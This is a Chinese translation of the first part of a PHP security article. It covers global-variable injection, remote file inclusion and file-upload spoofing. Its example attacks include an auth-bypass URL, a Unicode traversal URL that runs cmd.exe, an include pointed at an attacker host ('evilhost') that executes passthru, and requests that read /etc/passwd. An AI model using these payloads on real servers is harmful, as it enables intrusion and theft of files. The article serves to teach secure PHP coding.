如何对PHP程序中的常见漏洞进行攻击（上）

如何对PHP程序中的常见漏洞进行攻击（上）
翻译：analysist（分析家）
来源：http://www.china4lert.org

如何对PHP程序中的常见漏洞进行攻击（上）

原著：Shaun Clowes <http://www.securereality.com.au/>
翻译：analysist <http://www.nsfocus.com/>

之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。

由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉及到PHP安全方面的内容，因此我没有翻译。如果你想了解这方面的知识，请参考原文。

文章主要从全局变量，远程文件，文件上载，库文件，Session文件，数据类型和容易出错的函数这几个方面分析了PHP的安全性，并且对如何增强PHP的安全性提出了一些有用的建议。

好了，废话少说，我们言归正传！

[全局变量]
PHP中的变量不需要事先声明，它们会在第一次使用时自动创建，它们的类型也不需要指定，它们会根据上下文环境自动确定。从程序员的角度来看，这无疑是一种极其方便的处理方法。很显然，这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了，就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量，毕竟，当它们第一次创建时，他们是空的。

很显然，基于PHP的应用程序的主函数一般都是接受用户的输入（主要是表单变量，上载文件和Cookie等），然后对输入数据进行处理，然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易，实际上PHP是把这些输入数据看作全局变量来处理的。

例如：

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>

很显然，这会显示一个文本框和提交按钮。当用户点击提交按钮时，“test.php”会处理用户的输入，当“test.php”运行时，“$hello”会包含用户在文本框输入的数据。从这里我们应该看出，攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用“test.php”，而是直接在浏览器地址栏输入http://server/test.php?hello=hi&setup=no，那么，不止是“$hello”被创建，“$setup”也被创建了。

译者注：这两种方法也就是我们通常说的“POST”和“GET”方法。
下面的用户认证代码暴露了PHP的全局变量所导致的安全问题：

<?php
  if ($pass == "hello")
    $auth = 1;
  ...
  if ($auth == 1)
    echo "some important information";
?>

上面的代码首先检查用户的密码是否为“hello”，如果匹配的话，设置“$auth”为“1”，即通过认证。之后如果“$suth”为“1”的话，就会显示一些重要信息。

表面看起来是正确的，而且我们中有相当一部分人是这样做的，但是这段代码犯了想当然的错误，它假定“$auth”在没有设置值的时候是空的，却没有想到攻击者可以创建任何全局变量并赋值，通过类似“http://server/test.php?auth=1”的方法，我们完全可以欺骗这段代码，使它相信我们是已经认证过的。

因此，为了提高PHP程序的安全性，我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话，这可是一项非常艰巨的任务。

一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量，这依赖于我们的提交方式（GET或POST）。当PHP配置为打开“track_vars”选项的话（这是缺省值），用户提交的变量就可以在全局变量和上面提到的数组中获得。

但是值得说明的是，PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量，HTTP_POST_VARS数组用于处理POST方式提交的变量，HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量，而对于HTTP_POST_FILES数组（比较新的PHP才提供），则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中，因此一个安全的PHP程序应该检查这四个数组。

[远程文件]
PHP是一种具有丰富特性的语言，提供了大量的函数，使编程者实现某个功能很容易。但是从安全的角度来看，功能越多，要保证它的安全性就越难，远程文件就是说明这个问题的一个很好的例子：

<?php
  if (!($fd = fopen("$filename", "r"))
    echo("Could not open file: $filename<BR>\n");
?>

上面的脚本试图打开文件“$filename”，如果失败就显示错误信息。很明显，如果我们能够指定“$filename”的话，就能利用这个脚本浏览系统中的任何文件。但是，这个脚本还存在一个不太明显的特性，那就是它可以从任何其它WEB或FTP站点读取文件。实际上，PHP的大多数文件处理函数对远程文件的处理是透明的。

例如：
如果指定“$filename”为“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
则上面的代码实际上是利用主机target上的unicode漏洞，执行了dir命令。

这使得支持远程文件的include()，require()，include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容，并且把它们按照PHP代码解释，主要是用在库文件上。

例如：
<?php
  include($libdir . "/languages.php");
?>

上例中“$libdir”一般是一个在执行代码前已经设置好的路径，如果攻击者能够使得“$libdir”没有被设置的话，那么他就可以改变这个路径。但是攻击者并不能做任何事情，因为他们只能在他们指定的路径中访问文件languages.php（perl中的“Poison null byte”攻击对PHP没有作用）。但是由于有了对远程文件的支持，攻击者就可以做任何事情。例如，攻击者可以在某台服务器上放一个文件languages.php，包含如下内容：

<?php
  passthru("/bin/ls /etc");
?>

然后把“$libdir”设置为“http://<evilhost>/”，这样我们就可以在目标主机上执行上面的攻击代码，“/etc”目录的内容作为结果返回到客户的浏览器中。

需要注意的是，攻击服务器（也就是evilhost）应该不能执行PHP代码，否则攻击代码会在攻击服务器，而不是目标服务器执行，如果你想了解具体的技术细节，请参考：http://www.securereality.com.au/sradv00006.txt

[文件上载]
PHP自动支持基于RFC 1867的文件上载，我们看下面的例子：

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

上面的代码让用户从本地机器选择一个文件，当点击提交后，文件就会被上载到服务器。这显然是很有用的功能，但是PHP的响应方式使这项功能变的不安全。当PHP第一次接到这种请求，甚至在它开始解析被调用的PHP代码之前，它会先接受远程用户的文件，检查文件的长度是否超过“$MAX_FILE_SIZE variable”定义的值，如果通过这些测试的话，文件就会被存在本地的一个临时目录中。

因此，攻击者可以发送任意文件给运行PHP的主机，在PHP程序还没有决定是否接受文件上载时，文件已经被存在服务器上了。

这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。

让我们考虑一下处理文件上载的PHP程序，正如我们上面说的，文件被接收并且存在服务器上（位置是在配置文件中指定的，一般是/tmp），扩展名一般是随机的，类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它，这可以通过两种方式，一种方式是在PHP 3中已经使用的，另一种是在我们对以前的方法提出安全公告后引入的。

但是，我们可以肯定的说，问题还是存在的，大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件，比如说上面的例子：

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

然后PHP程序开始处理根据“$hello”指定的文件，问题在于“$hello”不一定是一个PHP设置的变量，任何远程用户都可以指定它。如果我们使用下面的方式：

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

就导致了下面的PHP全局变量（当然POST方式也可以（甚至是Cookie））：

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

上面的表单数据正好满足了PHP程序所期望的变量，但是这时PHP程序不再处理上载的文件，而是处理“/etc/passwd”（通常会导致内容暴露）。这种攻击可以用于暴露任何敏感文件的内容。

我在前面已经说了，新版本的PHP使用HTTP_POST_FILES[]来决定上载文件，同时也提供了很多函数来解决这个问题，例如有一个函数用来判断某个文件是不是实际上载的文件。这些函数很好的解决了这个问题，但是实际上肯定有很多PHP程序仍然使用旧的方法，很容易受到这种攻击。

作为文件上载的攻击方法的一个变种，我们看一下下面的一段代码：

<?php
  if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>

如果攻击者可以控制“$theme”的话，很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令，但是他无法使用远程文件，因此，他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的，但是文件上载帮了我们这个忙，如果攻击者先在本地机器上创建一个包含PHP代码的文件，然后创建一个包含名为“theme”的文件域的表单，最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码，PHP就会把攻击者提交的文件保存起来，并把“$theme”的值设置为攻击者提交的文件，这样file_exists()函数会检查通过，攻击者的代码也将执行。

获得执行任意指令的能力之后，攻击者显然想提升权限或者是扩大战果，而这又需要一些服务器上没有的工具集，而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具，把她们存在服务器上，然后利用他们执行指令的能力，使用chmod()改变文件的权限，然后执行。例如：攻击者可以绕过防火墙或IDS上载一个本地root攻击程序，然后执行，这样就获得了root权限。

<未完待续>